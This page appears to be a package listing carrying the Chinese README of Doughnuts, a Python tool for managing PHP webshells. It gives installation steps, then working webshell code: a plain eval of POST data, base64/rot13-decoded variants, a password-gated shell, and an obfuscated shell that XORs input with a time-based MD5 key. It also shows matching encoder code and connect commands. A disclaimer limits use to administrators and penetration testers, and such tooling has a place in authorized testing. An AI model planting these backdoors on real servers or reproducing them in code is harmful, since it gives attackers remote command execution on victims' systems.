一个基于Python3.6+的PHPwebshell管理器
终于迎来了新的使用文档！
文档中许多内容已经过期，请以新版为准
详细使用文档请前往此页面进行查看。
请在3.2版本之前运行过python3 -m doughnuts.install安装的朋友在更新3.2版本之后重新执行此命令!
# 安装
python3 -m pip install doughnuts --user -i https://pypi.org/simple/
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 -m doughnuts.install
# 运行
doughnuts
# 或
python3 -m doughnuts
# enjoy it!
pyton3 -m pip install poetry # 或其他方法安装python-poetry
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts
# debian/ubuntu系统需要运行此命令
apt-get install python3-venv
# 安装
poetry install
# 运行
poetry run python3 Doughnuts/doughnuts.py # 应该对所有系统生效
# enjoy it!
# 安装PYTHON 3.6+
git clone https://github.com/WAY29/Doughnuts.git
cd Doughnuts/doughnuts
pip3 install -r requirements.txt 或 pip3 install requests pysocks colorama prettytable tqdm
# (windows)添加一个bat文件到python根目录下
# (*unix)添加一个可执行文件到/usr/local/bin下
# 安装启动器,以方便调用
python3 install.py
# 运行
doughnuts
# 或
python3 doughnuts.py
# enjoy it!
# 启动一个doughnuts容器
docker run --name doughnuts -itd longlone/doughnuts
# 执行doughnuts容器的bash
docker exec -it doughnuts bash
# 在容器中运行doughnuts,这样你可以存储webshell记录等
doughnuts
# 或者直接执行doughnuts
docker run --rm -it longlone/doughnuts:cli
由于windows原因，在windows命令行连接下不支持&符号连接参数。 尽量将额外参数包裹引号进行传递，且逐一拆分。 好的习惯:"data:a=123" "data:b=456" 坏的习惯:"data:a=123&b=456" (在windows命令行下会连接失败)
普通webshell:
最平凡的webshell:
//test1.php
<?php
error_reporting(0);
eval($_POST['2333']);
?>
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
connect http://localhost/test1.php POST 2333
带解码的webshell:
//test2.php
<?php
error_reporting(0);
eval(str_rot13(base64_decode($_REQUEST['2333'])));
?>
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
connect http://localhost/test2.php POST 2333 rot13 base64
需要额外参数与解码的webshell:
//test3.php
<?php
if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){ // a=123
@eval(base64_decode($_POST['2333']));
}
那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:
connect http://localhost/test.php POST 2333 base64 "data:a=123"
生成webshell:
generate a.php POST pass salt 1生成webshell,名字为a.phpconnect {木马url} POST pass doughnuts-salt连接webshellfrom libs.config import alias
@alias(True)
def run(data: str):
cipher = data
return cipher
se/show_encoders命令查看自定义的编码器,连接时使用connect URL 请求方法 密码 编码器名字即可使用自定义编码器from libs.config import alias
from hashlib import md5
from base64 import b64encode
import time
@alias(True)
def run(data: str):
format_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
key = md5(format_time.encode()).hexdigest().encode()
data = data.encode()
cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))
cipher = b64encode(cipher).decode()
return cipher
对应的php webshell
<?php
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
date_default_timezone_set("PRC");
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
$post=base64_decode($post);
$key=md5(date("Y-m-d H:i",time()));
for($i=0;$i<strlen($post);$i++){
$post[$i] = $post[$i] ^ $key[$i%32];
}
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
def get_php(keyword: int = 4, passwd: str = "", salt: str = ""):
...
reload generate重新加载generate命令,即可使用doughnuts生成自定义webshell修复bug
优化功能
新增功能
若命令以&结尾，则会将其起新线程挂在后端执行
http://127.0.0.1:1080/ 或 socks5://127.0.0.1:1080/的代理不再能从外部使用connect命令
python3 -m doughnuts启动doughnuts的bug本项目仅供网站管理人员与渗透测试人员学习与交流,任何使用本项目进行的一切未授权攻击行为与本人无关.
FAQs
A webshell manager for PHP
We found that doughnuts demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
PyPI confirms no security flaws were exploited in the Ultralytics supply chain attack and highlights improvements for safer package publishing.
Security News
Research
The Socket Research Team breaks down a malicious wrapper package that uses obfuscation to harvest credentials and exfiltrate sensitive data.
Research
Security News
Attackers used a malicious npm package typosquatting a popular ESLint plugin to steal sensitive data, execute commands, and exploit developer systems.